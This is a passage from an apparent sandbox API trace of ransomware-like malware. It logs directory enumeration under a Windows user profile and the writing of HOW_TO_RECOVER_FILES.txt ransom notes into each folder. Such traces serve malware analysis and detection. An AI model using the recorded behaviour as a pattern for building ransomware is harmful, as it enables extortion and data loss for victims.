nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.641] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0132.641] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0132.641] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed400) returned 1 [0132.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3c0) returned 1 [0132.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0132.642] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\Local", lpFilePart=0x0) returned 0x27 [0132.642] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.642] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.642] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0132.642] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.642] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed400) returned 1 [0132.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3c0) returned 1 [0132.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0132.643] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x31 [0132.643] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0132.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0132.643] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0132.643] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0132.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0132.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0132.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0132.644] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x31 [0132.644] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.644] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.644] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0132.644] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.644] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0132.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0132.644] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0132.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0132.644] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\appdata\\local\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0132.648] GetFileType (hFile=0x6e0) returned 0x1 [0132.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0132.648] GetFileType (hFile=0x6e0) returned 0x1 [0132.649] WriteFile (in: hFile=0x6e0, lpBuffer=0x36c7908*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x36c7908*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0132.654] CloseHandle (hObject=0x6e0) returned 1 [0132.656] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ecf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\Local\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0132.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed430) returned 1 [0132.656] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\appdata\\local\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0132.656] GetFileType (hFile=0x6e0) returned 0x1 [0132.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3a0) returned 1 [0132.656] GetFileType (hFile=0x6e0) returned 0x1 [0132.657] WriteFile (in: hFile=0x6e0, lpBuffer=0x36cb3b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ed4f8, lpOverlapped=0x0 | out: lpBuffer=0x36cb3b0*, lpNumberOfBytesWritten=0x1f6ed4f8*=0x5d0, lpOverlapped=0x0) returned 1 [0132.660] CloseHandle (hObject=0x6e0) returned 1 [0132.660] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0132.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0132.660] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\AppData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\appdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0132.660] GetFileType (hFile=0x6e0) returned 0x1 [0132.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0132.661] GetFileType (hFile=0x6e0) returned 0x1 [0132.661] WriteFile (in: hFile=0x6e0, lpBuffer=0x36d04e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x36d04e0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0132.662] CloseHandle (hObject=0x6e0) returned 1 [0132.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0132.662] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents", lpFilePart=0x0) returned 0x23 [0132.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.687] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.698] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0132.706] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0132.712] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0132.712] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0132.713] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0132.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0132.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0132.713] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents", lpFilePart=0x0) returned 0x23 [0132.714] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.714] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.715] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0132.715] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0132.715] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0132.715] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.715] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0132.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0132.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0132.716] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\My Music", lpFilePart=0x0) returned 0x2c [0132.716] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Music\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0132.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed470) returned 1 [0132.720] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ecf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0132.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed430) returned 1 [0132.720] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\documents\\my music\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0132.724] GetFileType (hFile=0x644) returned 0x1 [0132.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3a0) returned 1 [0132.724] GetFileType (hFile=0x644) returned 0x1 [0132.724] WriteFile (in: hFile=0x644, lpBuffer=0x36f2d58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ed4f8, lpOverlapped=0x0 | out: lpBuffer=0x36f2d58*, lpNumberOfBytesWritten=0x1f6ed4f8*=0x5d0, lpOverlapped=0x0) returned 1 [0132.725] CloseHandle (hObject=0x644) returned 1 [0132.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0132.726] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\My Pictures", lpFilePart=0x0) returned 0x2f [0132.726] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0132.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed470) returned 1 [0132.729] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ecf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0132.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed430) returned 1 [0132.729] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default.migrated\\documents\\my pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0132.731] GetFileType (hFile=0x644) returned 0x1 [0132.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3a0) returned 1 [0132.731] GetFileType (hFile=0x644) returned 0x1 [0132.732] WriteFile (in: hFile=0x644, lpBuffer=0x3703578*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ed4f8, 